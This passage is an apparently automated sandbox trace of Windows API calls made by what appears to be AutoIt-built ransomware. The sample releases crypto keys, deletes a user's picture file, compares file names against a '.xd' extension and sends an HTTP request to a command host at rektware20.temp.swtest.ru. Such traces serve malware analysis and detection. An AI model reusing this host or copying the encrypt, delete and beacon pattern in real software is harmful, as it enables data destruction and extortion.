lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0061.717] CryptDestroyKey (hKey=0x164c8f0) returned 1 [0061.718] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.718] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.718] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.718] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.718] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.718] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.718] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0061.718] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.718] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.718] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0061.718] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.718] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0061.718] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.718] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0061.718] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.718] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0061.718] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.718] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0061.718] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.718] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.718] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.719] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.719] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.719] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.719] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.719] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.719] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.719] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.719] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.719] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0061.719] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0061.719] CryptReleaseContext (hProv=0x17a9f88, dwFlags=0x0) returned 1 [0061.719] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.719] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.719] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0061.719] FreeLibrary (hLibModule=0x74c60000) returned 1 [0061.719] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.719] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.720] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.720] CloseHandle (hObject=0x2ac) returned 1 [0061.720] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.720] CloseHandle (hObject=0x3bc) returned 1 [0061.722] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.727] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.727] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", lpFilePart=0x0) returned 0x62 [0061.727] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u\\rfbuls0rtbh9quhho.png")) returned 0x20 [0061.727] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0061.727] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\rFbuLS0RTBH9qUhhO.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\tna4ykb0u1\\bp5khlyytl7wp\\fjawttn6a7xyzfxjvq6u\\rfbuls0rtbh9quhho.png")) returned 1 [0061.735] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0061.736] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0061.736] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.737] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.737] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.737] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.737] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0061.737] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0061.737] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.737] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0061.737] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.737] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0061.737] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0061.737] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f88, lpdwBufferLength=0x130ef8c) returned 1 [0061.737] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.737] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.737] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.740] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0061.740] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0061.740] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0061.740] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0061.741] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629250, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629250*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0061.741] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.741] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.741] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.741] CloseHandle (hObject=0x0) returned 0 [0061.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.741] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="na4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="b0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.742] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 